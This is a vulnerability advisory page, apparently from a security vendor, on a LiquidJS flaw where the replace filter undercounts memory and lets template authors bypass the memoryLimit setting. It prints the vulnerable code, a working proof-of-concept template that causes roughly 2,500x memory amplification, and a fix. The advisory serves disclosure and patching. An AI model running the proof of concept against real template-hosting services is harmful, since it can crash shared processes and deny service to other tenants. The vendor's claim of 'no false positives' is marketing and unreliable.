GHSA-mmg9-6m6j-jqqx is a low-severity (CVSS 3.7) Uncontrolled Resource Consumption vulnerability in liquidjs. O3 Security confirms whether GHSA-mmg9-6m6j-jqqx is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
liquidjsnpmDescription
Summary
The replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.
Details
The vulnerable code is in src/filters/string.ts:137-142:
export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
const str = stringify(v)
pattern = stringify(pattern)
replacement = stringify(replacement)
this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output
return str.split(pattern).join(replacement) // actual output can be quadratically larger
}
The memoryLimit.use() call charges only the sum of the three input lengths. However, the str.split(pattern).join(replacement) operation produces output of size:
(number_of_occurrences * replacement.length) + non_matching_characters
When every character in str matches pattern (e.g., str = 5,000 as, pattern = a), there are 5,000 occurrences. With a 5,000-character replacement string, the output is 5000 * 5000 = 25,000,000 characters, while only 5000 + 1 + 5000 = 10,001 bytes are charged to the limiter.
The Limiter class at src/util/limiter.ts:3-22 is a simple accumulator — it only checks at the time use() is called and has no post-hoc validation of actual memory allocated.
The memoryLimit option defaults to Infinity (src/liquid-options.ts:198), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.
PoC
const { Liquid } = require('liquidjs');
// User explicitly enables memoryLimit for DoS protection (10MB)
const engine = new Liquid({ memoryLimit: 1e7 });
const inputLen = 5000;
const aStr = 'a'.repeat(inputLen);
const bStr = 'b'.repeat(inputLen);
// Template that should be blocked by 10MB memory limit
const tpl = engine.parse(
`{%- assign s = "${aStr}" -%}` +
`{%- assign r = "${bStr}" -%}` +
`{{ s | replace: "a", r }}`
);
// This should throw "memory alloc limit exceeded" but succeeds
const result = engine.renderSync(tpl);
console.log('Memory limit: 10,000,000 bytes');
console.log('Memory charged:', 10001, 'bytes');
console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes
console.log('Amplification:', Math.round(result.length / 10001) + 'x');
// Output: Amplification: 2500x — completely bypasses the 10MB limit
Impact
Users who deploy LiquidJS with memoryLimit enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the replace filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:
- Node.js process out-of-memory crashes
- Denial of service for co-tenant users on the same process
- Resource exhaustion on the hosting infrastructure
The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (memoryLimit enabled) and template authoring access.
Recommended Fix
Account for the actual output size in the memory limiter by calculating the number of occurrences:
export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
const str = stringify(v)
pattern = stringify(pattern)
replacement = stringify(replacement)
const parts = str.split(pattern)
const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)
this.context.memoryLimit.use(outputSize)
return parts.join(replacement)
}
This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The split() result is reused to avoid computing it twice.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | liquidjs | all versions | 10.25.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update liquidjs to 10.25.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mmg9-6m6j-jqqx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mmg9-6m6j-jqqx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mmg9-6m6j-jqqx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mmg9-6m6j-jqqx in your dependencies?
O3 detects GHSA-mmg9-6m6j-jqqx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.